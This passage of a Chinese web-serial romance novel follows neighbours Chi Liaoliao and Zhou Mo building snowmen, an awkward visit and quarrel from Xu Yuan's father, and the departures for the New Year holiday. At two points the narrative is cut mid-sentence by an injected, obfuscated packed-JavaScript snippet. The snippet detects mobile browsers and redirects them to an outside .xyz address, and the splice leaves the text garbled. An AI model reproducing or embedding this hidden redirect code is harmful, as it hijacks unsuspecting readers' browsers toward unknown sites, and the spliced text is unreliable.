而与别处平整松散的雪不同，这一片的雪显然被人抓过、团过，变得凹凸不平，有些狼藉。 迟了了就满脸灿烂地站在这样的雪后，身上一件毛绒绒的棕色羊羔毛小熊外套，外套帽子戴在头上，还支着两个半圆形的熊耳朵，手上还戴着一副熊掌造型的棉手套，整个人看上去，像个调皮捣蛋的圆乎乎小棕熊。 她一手向周默比着耶，另一只手里则举着个黄色的长柄塑料夹子，夹子一头是个从中间被分成两半的小恐龙样式。 “周默，下雪啦！”她收回手，兴奋地又说。 周默没来由地感觉心里一阵柔软，轻声说：“对。” “怎么下楼了？不冷吗？”他又问。 平时可是总听到她说天气太冷，不想出门的话来着。 迟了了摇摇脑袋，厚厚的熊掌手套嘭嘭拍了拍身上，声音清脆：“不冷，我穿得可暖和了！我怕下雪了花花会冷，所以下楼来看看它！” 说着，她侧过身，看向后面树下只有小腿高的小木房子。 那是小区物业专门给流浪猫准备的。 对于小区里的流浪猫，物业一直都有救助和照看措施，除了定期的驱虫和疫苗外，入冬后还对猫窝进行了加固加厚。 然而这样的保暖措施也只是在阳光明媚的日子里勉强够用，遇到今天这样的大雪天，积雪几乎堵住门口，还是难免会冷。 更别说过几天雪化的时候。 而此时，小房子外的积雪明显有被打扫过的痕迹，房子外围和房顶上还用挡风的隔温板扎扎实实围了一圈，里面也多了个毛绒绒的垫子。 而那只整天眼睛长在头顶的三花猫，此时正满足地窝在垫子上，脑袋深深埋进了肚子里，身体一鼓一鼓的。 周默收回目光，看了眼她手上的长柄夹，又问：“玩雪了吗？” “玩了！”说起这个，迟了了突然想起什么，连忙迈着小碎步绕过面前的灌木丛来到周默面前，而后一把拽过他的手腕转身往后走去，“你过来看！” 周默猝不及防地被她拉走，脚步不免有些仓促，等走了两步跟上来，才垂眼看向她拉着自己的那只手。 被棉手套包裹的严严实实的手。 棉手套因为刚团过雪球，掌心内侧还残留着雪渣融化后形成的雪水，雪水冰凉，就这么印在周默黑色大衣的衣袖来不及覆盖的手腕上，密密匝匝的，有些凉，还有些刺痛。 而在冰凉的触感之余，是迟了了手指的力道，透过手套传到他的脉搏处。 不松不紧，却毋庸置疑。 当凉意将所有杂念都驱逐一空，跳动的脉搏和血管仿佛能感受到她指腹的柔软与温度，并情不自禁地予以更热切的回应…… 周默一心走着神，迟了了头也不回地拽着他往前走，故而两人都没有留意到，在他们身后，8号楼的另一侧，一辆黑色沃尔沃缓缓驶停，随后，一个戴着眼镜的中年男人推门下车，进来楼里。 “看！这是我的恐龙大军！”等来到目的地，迟了了松开手，朝面前振臂一挥，豪气说道。 周默这才恍然回过神，抬头看去。 这一看，他顿时吃了一惊—— 只见眼前那被白雪覆盖着的粉色小车的引擎盖上，“浩浩荡荡”站满了拳头大小的恐龙雪人，打眼一扫，约莫得有三五十个。 别说，还真挺像恐龙大军的。 周默慨然点头，由衷赞叹一声：“很壮观。” 迟了了嘿嘿一笑，两手握住夹子柄，“咔咔”又夹了两下，像是再给自己鼓掌一样。 周默忍不住笑了，问：“我可以拿回去一个吗？” 迟了了眼睛顿时一亮：“当然！你喜欢吗？” “挺可爱的。” 确实，胖嘟嘟白乎乎的小恐龙雪人，自带几分萌感。 和某人一样。 迟了了二话不说，将夹子往腋下一塞，便上前小心翼翼地端起两个：“一个够吗？再给你一个吧！” “嗯……”周默想了想，伸手去接，“也好。” 迟了了却转身避开他的手：“我给你拿，我戴着手套呢，这太凉了！” 周默刚抬起的手一顿，只得转向她的腋下：“那我帮你拿夹子。” “好。”迟了了觉得这分工很合适，乐呵呵地松开手臂。 就这样，迟了了一手一个雪人小恐龙，从头到脚一副都市精英气质的周默则违和地拿着个充满童趣的长柄雪夹，两人一前一后，转身往回走。 …… 走进电梯，周默突然想起一件事，略带戏谑地看向迟了了：“对了，许愿最近在咖啡店工作怎么样？” “嗯嗯，特别好！”迟了了想起闯闯这几天跟自己的聊天，笑弯了眼，“他现在可是咖啡店的店草呢！” 周默怔了下，随即便反应过来，又不禁失笑：他听说过校草、司草，却还从未听说过店草。 而且……如果没记错的话，那个咖啡店里，目前应该只有许愿一个男性员工吧？ 想到这儿，他无奈地摇摇头，换了个话题：“最近绘本进展还顺利吗？” 因为许愿的突然回国，之前两人一起在801工作的习惯被打断，周默已经很久没能单独跟迟了了相处了。 迟了了闻言努努嘴，说：“现在脚本和角色设计已经搞定了，就是在画分镜，我计划春节前画好，等年后就开始画插画了，”说到这个她突然想起来，仰头看着周默，“对了，快过年了，你们公司是不是也快放假了呀？你要回你爸妈那过年吗？” “放假还有一段时间，要到临近春节的时候，”周默说，“过年的话，应该会去下我妈那边，至于我爸……他现在定居欧洲，已经很多年没见过了，今年应该也不会再见。” “哦——”迟了了恍然大悟。 “你呢？”周默反问，“准备什么时候回家？不用坐班的话，你爸妈应该会催你早点回去吧？” 突然，周默感觉有什么不对——说起来，除了去派出所那次，他似乎很少听迟了了说起自己父母，同在一座城市，也没听过她经常回家，或是家人来看她……倒是有些奇怪。 “额——”迟了了拖着长长的尾音迟疑着，似乎在想怎么回答。 就在这时，电梯突然“叮”地响了一声，8楼到了。 声音戛然而止，迟了了如蒙大赦一般，连声招呼着“到了到了！”便忙不迭地夺步而出。 周默看着她几乎可以说是仓皇逃离的背影，不知道是哪里不对了，但也来不及细想便也跟了出去。 可两人走出电梯刚一转身，下一秒又齐齐定在原地—— 几步外，801的门口，一个看起来五十多岁的中年大叔正转过身来，同样错愕地看着他们。 大叔戴着副银丝金腿眼镜，灰色的工装夹克外套着件深灰色大衣，朴素又不失儒雅，看起来很有股学者风范。 “二爸？！” 就在周默觉得这人有些眼熟，但又想不起来是谁时，身前的迟了了先惊讶地喊了一声。 电光石火间，他回想起来：这人，不就是之前签租房合同的时候见过的，许愿爸爸…… - “二爸，快喝茶！” 客厅里，迟了了捧着杯子一路迈着小碎步，小心地送到茶几上。 正转头打量四周的许愿爸爸闻声收回目光，笑呵呵地接过杯子，说：“好，谢谢了了！” 迟了了在自己的固定位置上坐下，睁着一双大眼试探地看着他：“二爸，你怎么有空过来呀？” “嗐，我这不是刚考察回来，正好路过这边嘛！就想着要瞧瞧，”他说着，看向将小恐龙雪人放进冰箱后正从厨房出来的周默，“小周这搬来也半年多了，平时省心，很少联系我，但我想着吧，咱也不能完全不管了，这不今天正好有空，就过来看看。小周，这房子住着，还习惯吧？” 周默走到迟了了背后停下来，闻言点了点头：“挺好的。” 许愿爸爸扬着笑等他继续往下说，可周默说完这三个就闭上了嘴，显然没有“展开讲讲”的意思。 有那么几秒钟，空气里浮现出一丝丝尴尬。 “额，哈，好好，住得好就好！”许爸爸眨眨眼，干笑两声，赶紧端起茶杯喝了一口。 低眼的瞬间，他暗想：这小伙子还跟上次见的时候一样话少啊！ 不过也好，稳重！比自家那臭小子好多了。 这时，迟了了拍了拍胸脯：“二爸你这说的什么话，有我在，我会让周默住着不舒服吗？放心，我把他照顾得可周到了呢！” “咳，咳咳咳——”刚喝下一大口茶的许爸瞬间被呛了一口，一边咳嗽一边瞪大眼睛，难以置信地看向她，“咳咳你说，你……照顾他？” 他眼珠子瞪得差点掉出来，震惊地看看迟了了，又抬头看看周默，下一秒一贯温和慈爱的目光中陡然带上一丝审视和敌意。 周默更是怀疑自己听错了，揉了揉耳朵，低头对上迟了了不无骄傲的目光。 “……谁，照顾谁？” “我照顾你呀！”迟了了不觉得自己的话有什么不对，“我不是经常给你送吃的吗？” 嗯…… 周默张了张嘴，最后像是放弃挣扎似的点点头：“对，你照 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屋内三人均是一怔。 迟了了率先反应过来，赶紧去摇晃周默的手，同时用口型对他说了五个字：许愿！别进来！ 周默立即明白了她的意思，二话不说，几个箭步走到门口。 与此同时，门外人第二指纹识别成功，一串电子蜂鸣声后，门锁响起咔嚓一声。 可就在下一秒，周默一把握住门把手，将刚打开一道缝的门又推了回去。 门外提前下班回来的许愿猝不及防：“诶？” 屋内许爸满头雾水：“这是？” “额————”迟了了赶紧头脑风暴起来。 外卖？ 不行，谁家正经外卖员会开人门锁呀！ 物业？ 物业也不会呀，关键还是用指纹！ 说起这个，都怪许愿这家伙，干嘛非用指纹开锁！ 那还有谁还有谁？ 迟了了的大脑几乎转出火星子来！ 可就在她绞尽脑汁想找个人出来顶包的时候，不承想许爸眼睛一转，竟然先一步给出了答案。 他轻轻挪了个位子，半趴在沙发扶手上，探身凑近迟了了，同时压低声音：“了了，你跟二爸说实话，小周他是不是，把这房子二次转租了呀？” 刺—— 正飞速转动的大脑猛地一个急刹车，迟了了一下子傻了：“哈？” 这又是什么发展？ 剧情太过峰回路转，她感觉自己的思维差点闪了腰。 许爸见她没否认，以为自己猜对了，顿时一脸不满：“这可不行啊，人得有契约精神呢！再说了，次卧里面放的都是许愿的东西，这万一磕着碰着，等臭小子回来不得心疼坏了！” “？” 迟了了眨眨眼，歪头琢磨着许爸这话里的意思。 就在沙发上两人互打哑谜的同时，门口许愿也懵了—— 什么情况？ 他明明开了锁，为什么门又被关上了？ 不死心，他再次抬起手。 可手刚碰上门把，大门突然又被从内打开。 许愿顿时：？ 抬头一看，竟是周默从门缝里看过来。 许愿瞬间脸色一黑：“你搞什么鬼？” “友情提示，你现在最好先别回来。”门内周默低声说道。 许愿狐疑地皱起眉：“什么意思？”突然想到某种可能，他忽地瞪大眼，“迟三三也在里面？！” 周默没明白这两者有什么关系，却还是肯定了他的话，然后又低声提醒了一遍：“你最好现在先别回来，你爸——” 可许愿怎么还听得进去，上手就要推门：“你让开，你们干什么呢？！” 周默没想到这家伙突然这么大反应，还硬要闯进来，一个没提防“嘭”地一下就被撞上了脑门！ “嘶——” 许愿也吓了一跳，赶紧收回手举在胸前：“那个，我，我，我不是故意的啊。” 然而不等周默说什么，门内便传来一声怒吼的咆哮：“臭小子，你还有脸回来！！！” 许愿一愣，下一秒脸色骤变，惊恐地看向正捂着额头的周默。 周默无语地点点头，表示：就是这个原因。 许愿顿时欲哭无泪，“啊”地哀号一声，转头就往楼梯口逃去！ 而出于某种“报复”心理，周默立刻闪身让开，并给冲出来抓人的许爸拉开了大门…… 68. 父子相见 “你不是说不回来了吗？现在是在干嘛？还瞒着我！” 客厅里，许爸大马金刀地坐在沙发正中央，横眉立目地质问。 几步外，许愿双手抱臂，吊儿郎当地倚站在墙角，看天看地就是不看自己老爸。 几分钟前还温和亲善的许爸此时一脸严肃，又问：“当初让你回来，你说你要继续攀登专业的高峰，呵，我还当是什么珠穆朗玛峰呢，结果是咱家门口那个小土坡？这么快就攀完了？” 许愿一听这话忍不了了。 可以贬低他，但不能贬低他的理想！ “谁说是那个小土坡了！我要攀登高峰，又不一定非要在学校和实验室里！” 许爸忍不住讥笑一声：“你听听你这话，我就问你打不打脸？” 许愿脖子一梗，头一扭，装没听到。 许爸瞅着他这副二皮脸的臭模样，简直想上前给他一巴掌：“二十老几的人了，做事想一出是一出没个长远规划，你要真在那边呆住了，干出点成就，我还能高看你一眼！” 嘿！这锅许愿可不乐意背！ 他飞快扫了餐桌旁坐着的周默一眼，又责备地看向自己老爸：“我为什么回来，还不都是因为你！” “嘿，你个倒反天罡的，还怪起老子来了？！” “当然，要不是你——”许愿又示意了下周默，“我至于着急忙慌赶回来吗？” 许爸一愣，反应过来儿子说的是什么顿时也心虚了，目光晃了两下，又一瞪：“你还说我，当初要不是你死活不愿意回来，我至于用这招！” “嘿，你个老头子！” “你个臭小子！” 父子俩一人一句，将当初因为租房子搞出来的乌龙气都撒了出来…… 这时，厨房那边，迟了了捧着个刚煮熟的鸡蛋走了出来。 鸡蛋太烫，她两手不停交替着小跑到周默面前：“快，剥了在头上滚滚！” 周默闻言怔了下，随即哭笑不得地接过来，吹了吹，在桌子上敲了两下，三下五除二剥开，又递了回去：“你吃吧，我没事。” “怎么能没事呢，这都红了！”迟了了焦急地指着他的额头说。 “真没事，”周默又朝她送了送，低声说了句，“先垫垫肚子。” 迟了了一噎：“……那好吧。” 到饭点了，她确实有点饿了。 …… 那边，父子俩唇枪舌剑几个来回，许爸气总算消了点，又一脸嫌弃地问：“那你现在是个什么章程？就这么住这儿了？也不怕打扰人家小周！还有你工作找了没？别整天无所事事乱晃悠！” “找到了！”说起这个，许愿顿时扬眉吐气了一把，得意得朝许爸比了个手势，“月薪7万！” “7万？你？！” 许爸难以置信地瞪大眼，见他点点头，愣了愣，嘴角一抽：“你是被人给骗了吧？” 许愿啧了一声：“你这可就伤人了啊，我不配吗？不信你问迟三三，还有周默儿！” 正吃着鸡蛋的迟了了抬起头：“啊？” 最终，在两人的佐证下，许爸总算相信了自家臭小子找了个月薪七万的工作，还是在周默的公司里，这才完全放了心。 “小周一看就是个有出息的孩子，臭小子你以后跟小周混，可得靠点谱啊！”他苦口婆心地劝道。 许愿对他这种类似“家花不如野花香”的不良心态很是不屑，连声催促他没事赶紧回去。 这时，许愿妈妈发来消息问他还回不回家吃饭，许爸连忙回了个“回”，又问许愿和迟了了要不要一起回去吃，结果被许愿果断拒绝。 许爸气得伸出手指狠狠戳了下他脑门。 出门前，许爸又回过头来：“对了，了了啊，今年早点回去过年啊，你珍珍妈妈一直说要跟你一块去逛街呢！” “好的，我知道啦！”迟了了乖乖巧巧地应道。 周默提前出去按了电梯，此时正好上来。 许爸抬步走过去，顺便问他：“小周你呢？过年回家吗？” “嗯，回的。”周默说。 “好，工作再忙也得回家过年！”进了电梯，他又瞥了眼自家的傻儿子，“至于你……算了，爱回不回吧！” 许愿：“诶？？？” 到底是不是亲生的，有没有点父子爱呀？！ “好了，你们都回去吧，好好相处，别闹矛盾啊，尤其是你，许愿！”按下关门键，许爸再次叮嘱。 莫名又被教训，许愿已经心如止水，无辜地摊摊手，说：“我可什么都没做啊。” 说话间，电梯门一点点阖上，他撇撇嘴，准备回屋。 可就在这时，他突然又想到一件事，赶紧抬手重新按下电梯按键，口中喊着：“老爸等下，我有事跟你说！” 眼瞅着电梯门就要关上却又被这小子摁开，许爸瞬间不耐烦了：“你个臭小子，又搞什么呢！” 话音未落，许愿已经一个闪身也进了电梯，然后利落地按下关门键，对着电梯外的迟了了和周默摆摆手：“我送我爸下楼！” 伴随着许爸“我是老眼昏花了吗？还用得着你送”的抗议，这一次电梯终于阖上，缓缓往下降落。 电梯外，迟了了和周默面面相觑。 “咱们也回去吧。”迟了了眨眨眼，转身往门内走去。 周默站在后面看着她的背影，却渐渐紧了眉。 刚刚，许愿爸爸的话好像有些奇怪—— 为什么迟了了要去他们家过年？还和许愿妈妈一起去逛街？ 这次的对话里，又为什么还是没有出现迟了了父母的影子？ ……周默心里隐隐有个不好的猜测，可反过来一想，又觉得这念头实在有些失礼。 算了，他摇摇头，或许只是他们两家的习惯吧。 他停止猜想，抬步往门内走去。 - 电梯里，许爸白了眼莫名其妙非要跟下来的许愿：“说吧，你又想搞什么幺蛾子？” “什么叫幺蛾子，”许愿不满，辩驳道，“我是要为我自己争取利益好吧！” “说人话。” “咳，人话就是，你之前因为我说要在国外再待几年，一气之下把我房子租出去了，现在我回来了，你是不是应该把房子收回来？” 许爸听到这话，原本不耐的表情瞬间一滞，不认识一般上下打量起许愿。 许愿被他看得心里发毛，后退一步：“你这什么表情？收不收的给个准话不就——哎哟！” 话还没说完，他就被当头呼了一巴掌。 “你干嘛？！”许愿感觉自己脑袋都蒙了，捂着被打的地方，又委屈又不解地看着自己老爹。 “我干嘛？你个傻缺，”许爸差点被他气得七窍生烟，“做人最怕的就是半途而废！你让我提前赶小周走，我这老脸还要不要了？！” “这，哪有那么严重。”许愿说，“就是毁个约而已，我查过了，把剩下的钱退回去，再赔他一个月房租就好了。” 这时，电梯到达一楼，许爸给了他一个白眼，抢先往大门走去。 “哎哎，”许愿赶紧追上去，“行不行啊？” 父子俩来到门外，眼看老爸要开门上车了，许愿赶紧一个大步上前，将他刚刚拉开的车门又重新关上——半路因为不小心一脚踩到雪上，他还滑了一下。 “嘶——”伸手揉揉被抻得生疼的大腿根，许愿声音发颤，不肯罢休，“你到底答不答应，不答应不许走！” 许爸看着眼前这个傻儿子，甚至怀疑这家伙的学历真的是自己考出来的吗？ “我问你，你跟小周，现在是什么关系？”他说。 许愿没明白他的意思，想了想：“室友啊。” “嘶——我堂堂大学教授，怎么生出你这么个傻儿子！”许爸气得直按额头，又问，“那年后呢？” “额……老板和员工？” “那不就得了！”许爸简直服了这儿子的情商，“现在你老板跟你住一个屋檐下，你要把他撵出去？你脑子有病吧！”许爸一急，直接上升人身攻击。 许愿被他这一说，拧眉思索了片刻，最后一摆手：“这不重要！我有我的打算。” “我可去你的吧！”许爸一把掀开他的胳膊，闪身就坐进了车里，关门落锁。 最后，他又降下车窗对许愿说：“你可给我老实点啊，少在外面搞幺蛾子，我回去跟你妈说你回来了，你就等着她收拾你吧！” 说罢，不给许愿再纠缠的机会，他利落地升上玻璃，开车走人。 “哎哎——”许愿不肯罢休，还想上去拦人，可刚刚扯痛的大腿还没恢复，他瘸了两步只能眼睁睁看着老爹开着车子越走越远。 “那你起码把车给我留下来呀！”他气得猛一跺脚，却不小心再次牵动腿根的疼痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818896|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，只能龇牙咧嘴地弯腰去揉。 …… 一回到楼上，许愿就开始撒泼。 “好啊你们俩，敌人都打上门来了，你们都不知道给我通风报信一下，害得我自投罗网，好端端挨顿骂！” “你，”他指着周默，像个蛮不讲理的小孩，“都是因为你，我爸骂我都更有参照物了。” 周默平白被甩了口锅，挑眉想要怼他，但刚张开嘴又咽了回去，转而无辜地看向迟了了。 迟了了接到他的信号，立刻瞪了许愿一眼，又朝他摆了摆手，示意他不用理许愿。 周默很是通情达理地点点头，说了去“我去做饭”，便转身进了厨房。 等周默离开，迟了了笑眯眯地撸了撸袖子，起身走到许愿身后，抬手按上他的肩膀。 “你干嘛？想讨好我呀？我告诉你这次我可是真生气，没那么好哄的！”许愿扬起下巴，傲娇地说。 “不好哄啊？”迟了了双手轻轻开捏，温声细语。 许愿舒服地眯起眼，却还是不松口：“嗯哼。” 可不料下一秒肩上力道骤然加重，仿佛两只鹰爪捏了他的斜方肌上，疼得他“嗷”一声就从沙发上跳了起来。 “迟三三你干嘛？！谋杀啊！” “你说我干嘛！”迟了了不装了，双手掐腰就数落起来，“你个二愣子，还想我哄你？我都给你发消息了你自己还要往枪口上撞！周默都去拦门不让你进了，你还非要闯！你这顿揍明明是自己上赶着挨的，现在还想怪我们？！” 许愿多少年没见迟了了发这么大脾气了，此时看着眼前比自己矮了一头又张牙舞爪的小丫头，不禁有些愣怔。 缓了缓，才消化掉她话里的信息，一时更加摸不着头脑。 “你给我发消息了？我怎么不知道？”他赶紧去摸兜里的手机。 开锁一看—— 好吧，还真有条她的信息。 “……额，那个，我没看到。”他赶紧跟迟了了赔笑。 迟了了头一甩：“哼！”生气了，哄不好！ “真的，我发誓！”他举起三根手指头，“我等电梯的时候还看着手机呢，进电梯才收起来的，可能是电梯里信号不好，当时没收到，就，就耽误了一会儿。” 见迟了了依旧怒气冲冲，他又双手合十：“我跟你道歉，对不起，可以吗？别生气了~~” 见他还算真心诚意，迟了了思考了一会儿，勉强算是原谅他了，可自己原谅还不够。 “那周默呢，他平白无故被你们父子俩当枪使，你还说那样他，应该吗？” 许愿脸色一僵，不情不愿地嘟囔：“……不应该。” “他平时有空还给咱俩做饭吃，甚至现在也在做，吃人嘴软，你好意思吗？” “……不好意思。”许愿垂着头，怏怏地拖着声音。 迟了了对他的态度倒还算是满意，声音缓和下来：“那你现在应该怎么做？” “我——”许愿一顿，猛地抬起头！ 不是，这哄骗小孩的语气和台词是什么情况？！ “我是大人，你少拿哄小孩那套对付我！”他赶紧为自己正名。 迟了了一噎，反应过来：“哦，不好意思，习惯了。” 许愿：“哼！” “但你去给周默道个歉总是应该的吧？你还撞到他头了，”迟了了又说，“还是说，你许愿敢作不敢当，连声‘对不起’都不敢说？” “我——”许愿一噎，他当然敢说，只是对周默…… “去就去，我还怕他不成！”最终他还是说服了自己，头发一甩就往厨房走去。 而厨房里，周默原本正一边备菜一边竖起耳朵，听着外面两个“小朋友”吵架，此时听到许愿要来道歉，连忙收起耳朵，装作一副毫不知情的样子。 “喂，对不起！”不一会儿，身后传来一句硬邦邦的道歉。 周默回过头去，先是露出一副诧异的表情，而后抿唇淡淡一笑：“没关系，别放在心上。” 许愿一蒙：什么情况？怎么他还安慰起自己来了？ 正想着，他小腿就被人踢了一下，紧接着迟了了的声音从身后响起：“你跟周默好好学学什么叫做礼貌吧！” 许愿：“我——” 霎时间，他明白了什么。 转头再看周默已经悠悠然转过去的背影，顿时气得牙根直痒痒！ 69. 回家过年 因为今年没有腊月三十，所以腊月二十八过完，周默公司就要正式放假了。 “或者”也在前一天闭店时挂出了暂停营业的招牌，宣告着许愿正式结束了他“咖啡店草”的短暂打工经历。 这天上午，趁着周默还在站最后一班岗，睡到日上中天的许愿一从床上爬起来，就马不停蹄地去敲楼上的门。 “赶紧收拾，回家过年了！”一见迟了了，他就连声催促道。 “急什么呀，明天才除夕呢！”迟了了扭头就往画室走去。 许愿跟进来，说：“我妈这几天天天给我打电话催我回去，我之前跟她说咖啡店还在营业，走不开，现在咖啡店也休息了，要是再不回去，她非得亲自来揪我！”顿了顿，又补充，“还有你！” “……” 迟了了一想，也是。 何止是许愿，这几天她也被珍珍妈妈打过不少电话。 只是《小朱莉的秘密》的故事脚本和角色设计终于确认，她打算趁热打铁，把分镜稿也画出来，能不能过不说，就是不想断掉思路。所以只能一次又一次地拖延着。 再加上虽然这段时间她没接商稿，但碰上过年这种大节，自己的账号也不能完全没有表示，于是还画了几张春节主题的插画和祝福壁纸。 总的说起来，还是挺忙的。 “那你再等我个把小时，我今天就能画好了。”她说。 “行行行，你快点！我先去收拾东西。”许愿摆摆手，扭头又回了楼下。 …… 一小时后，迟了了把完整的分镜稿扫描后打包发给肖音韬，又问候了她新年快乐，这才去收拾东西。 可等收拾好，许愿上来给她拎箱子，她又犹豫了。 “咱们是不是应该等周默回来跟他道个别呀，不然等他下班发现家里没人了，多凄凉呀！而且咱也没有提前跟他打招呼，说今天要走。”迟了了说。 “哎呀，过个年而已道什么别呀，难道你还要搞个十八里相送啊？”许愿不耐烦地说。 这倒不至于，迟了了满脸纠结，想着是该等他回来，还是留个言说一声就好。 许愿看她举棋不定的样子，唯恐她打定主意要等周默，一把抢过她的行李箱不容分说地就往外走：“走了走了！实在不行，发个微信说一声好了，他都这么大人了，还用得着你操这心？” “哎！”迟了了阻拦不及，一扭头就见许愿已经拖着箱子出了门，原地焦急地徘徊了一圈，只能退而求其次。 “那你等我一下！”她一边喊着一边跑回画室，飞快地在便笺本上写写画画一通，而后撕下来一张抓在手里，又赶紧追出去。 电梯到了8楼，迟了了一阵风一样跑出电梯，冲到801门口。 电梯厅里，许愿按着开门按钮，很快不耐烦了。 “好了没呀，电梯都响了！” “好了好了！”迟了了再次用力按了按便签贴，好让它在门上粘得更紧一些，等确认牢固了才松开手，转身小跑回电梯里。 “一条微信的事儿，你还搞这么复杂。”许愿看不过去，说她。 “微信等会儿也说，但这个也要有。”迟了了坚持。 许愿撇撇嘴，关上电梯。 写留言条，这是迟了了从小就有的习惯，不论是临时出个门，还是悄悄送个礼物，她都喜欢写张留言条，再添上几笔小画，有时是个小表情，有时是个小动物，或者花花草草之类的——所以她屋子里除了画笔和颜料，也从来不缺各种便笺纸。 只是在许愿看来，这东西很没有必要，毕竟手机和微信不比留言条方便多了？ - 下午五点钟，结束了年前最后一天工作的周默提前下班回到小区。 临近过年，许多上班族都已经提前休假回老家了，很多本地人也携家带口地去外地旅游过年，于是街上的车流稀疏了很多，小区里的人和车也少了许多，以往要在小区绕很久才能找到的停车位，今天很轻易便在楼下找到了。 推门下车，周默下意识看看四周，入目果然不见那辆粉色宝宝巴士。 想起中午在公司收到的那条消息，他在原地站了一会儿，竟有些不大想上楼了。 反正回去也只有他一个人。 想了想，周默转头看向花园——在那里，花花的小木屋乖巧地立着，里面没有猫，只有迟了了放那的棉垫子已经变得有些脏了，屋顶上遮的挡风板也歪了点。 周默看了看周默，没见花花的影子，也不知道又去哪玩了，于是径自抬步走过去。 先将挡风板摆正、重新固定好，又把棉垫子拿出来抖了抖、放回去。 简简单单的举动，却莫名让周默感觉不再那么空落落的了。 他勾了下唇，这才回身上楼。 - 等电梯在8楼停下，周默从里面走出来，一抬眼就看到了门上贴着的猫头便笺纸。 他不由一怔，随即面上浮起一丝浅淡的笑。 缓慢的脚步加快了一些，他几步上前，抬手取下便笺纸，等读完上面的留言，再度忍俊不禁。 【周默： 许愿太烦人了，非拉我现在就走，来不及跟你当面说88了，提前祝你新年快乐！ 身体倍儿棒，吃饭不排队，发际线不后退！ 钱包鼓鼓，嘎嘎开心！】 ——落款：33 旁边还画了一颗鞭炮、几簇烟花，和一支屈起的手臂。 ……这人，还是关心自己的头发呀！ 周默啼笑皆非地摇着头，开门进屋。 因为这张留言条，他今晚心情好了很多。 一个人简单下了碗馄饨当晚饭，他一边吃着一边打开电脑，浏览起国外的行业论坛。 浏览到一半觉得空气有些安静，他又起身打开了客厅的电视机，当作背景音乐。 而当再回到餐桌旁，他动作一顿，突然有些无语。 他原本分明是个喜欢安静的人，想当初刚搬来的时候还因为迟了了过于热情而觉得困扰聒噪。可如今，他竟然习惯，甚至喜欢上了这种聒噪，更甚者，他连许愿那咋咋呼呼、一天不闹腾就不安生的性格都能忍了，如今还因为只有自己一个人在这房子里而觉得冷清。 周默叹了口气：看来，人类适应环境的能力，还真是不容小觑。 他忍不住自嘲。 正想着，桌上的手机似是感应到了他的寂寞，突然响起视频通话的声音。 周默心中一喜，赶忙伸手拿起手机。 可一看屏幕上显示的来电人头像，上一秒的欣喜又瞬间被扑灭，眸中的光亮也熄了下来。 “什么事？”他接通电话直接问道。 然而镜头里出现的却不是袁月，而是久违的袁周率小朋友。 “哈喽舅舅~~~”小家伙胖嘟嘟的小脸几乎撑满屏幕，笑得更是看不见眼。 周默眉头一皱：“怎么是你？” 这话就有点伤人了，袁周率小朋友立刻噘起嘴：“舅舅你不想我吗？” 周默：“……”说实话，不太想。 小家伙哼了一声，不跟他计较，奶声奶气地自说自话：“舅舅我都想你了！好想好想的那种！” 周默再次：“……” “舅舅我们幼儿园早就放假了，你放假了吗？”小家伙又说，“舅舅我还得了个奖状，你要不要看？” “舅舅……” 小家伙问题接二连三地抛过来，周默无声叹了口气：别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818897|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说答案是什么，他根本连开口回答的机会都找不到。 终于，镜头外看不到地方传来袁月的声音：“儿子，跟舅舅说正事。” 小家伙愣了一下，这才回想起来，连忙切换“认真模式”：“舅舅，妈妈和外公外婆让我问你，什么时候回来过年呀？” 话音落下，视频内外瞬间一片安静。 除了对面隐约传来电视机里动画片的声音外，竟没有一个人开口。 周默心底各种情绪顷刻褪去，整个人都冷静了下来。 就这么安静了几秒，懵懂无知的袁周率小朋友打破了沉默。 “舅舅？”他晃晃脑袋，“信号不好卡住了吗？” 许是听到他这话，袁月连忙上前接过手机，等看到镜头里周默转开脸的动作，才松了一口气，说：“没卡。” 但手机却没再还给小家伙，而是起身往外走去。 等走出客厅，袁月才开口：“哥，今年过年回来吗？阿姨和我爸都想让你回来呢。” 这边周默抿抿唇，倒是没有拒绝，点点头说：“回去。” 正如前几天许愿爸爸来时他跟迟了了说的，本来他就打算如果那边有意，自己就回去一趟。 虽然之前许多年他要么跟外婆一起过年，要么一个人在国外，但如今外婆不在了，他又在国内稳定下来，作为家人，毕竟没什么水火不容的矛盾或芥蒂，也就没必要把自己活成个孤家寡人。 这份心态，也是他从迟了了身上学到的。 袁月立时松了口气：“太好了，阿姨念叨你好久了，知道你回来肯定很高兴！袁小圆也等好久了，每天都问我你什么时候回来，我拦了他好久没让他给你打电话呢。” 周默闻言浅浅勾了下唇：“我明天下午回去。” “好，那我们等你回来吃年夜饭！” …… 挂断电话，袁月转身回客厅。 前脚刚迈进去，她便对上了齐齐射来的三双眼睛。 她动作一顿，表情随之一垮。 三人见她这脸色，顿时都失望不已。 “没事，”长相和打扮都透出一派优雅干练的周桢勉强地扯出一抹笑，缓声道，“他以前都是跟外婆过，这些年又在国外，估计也没有过年的习惯了，不回来也正常。” 一旁衣着发丝处处考究的中年男人阖上手中的报纸，无声拍了拍她的肩膀。 倒是最小的袁周率小朋友还没有学会掩藏自己的情绪，“哼唧”一声，嘴巴噘得老高。 见三人这反应，袁月一个“扑哧”笑了出来：“骗你们的，回来！” 周桢和袁父一愣，立即转过弯来，顿时松了口气，无奈嗔了她一眼。 “你看看你，乱开什么玩笑，看把你阿姨吓一跳！”袁父斥责地说。 